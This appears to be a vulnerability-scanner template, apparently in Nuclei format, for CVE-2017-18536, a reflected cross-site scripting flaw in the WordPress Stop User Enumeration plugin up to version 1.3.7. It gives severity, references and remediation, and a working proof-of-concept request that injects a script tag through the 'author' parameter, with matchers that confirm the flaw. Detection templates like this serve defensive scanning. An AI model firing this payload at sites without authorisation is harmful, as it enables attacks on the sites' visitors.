id: CVE-2017-18536 info: name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting. impact: | This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website. remediation: | Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability. reference: - https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501 - https://wordpress.org/plugins/stop-user-enumeration/#developers - https://nvd.nist.gov/vuln/detail/CVE-2017-18536 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-18536 cwe-id: CWE-79 epss-score: 0.00088 epss-percentile: 0.3753 cpe: cpe:2.3:a:fullworks:stop_user_enumeration:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: fullworks product: stop_user_enumeration framework: wordpress tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks http: - method: GET path: - "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - "forbidden - number in author" - "" condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402207c823891eb6883709f3452494cb7d611933a6d1ce289adcdde3457ee7efc3e760220667ae9f3b43295a3bd98c160f18a61e612bac54e6a75d9f5902ac8965176351f:922c64590222798bb761d5b6d8e72950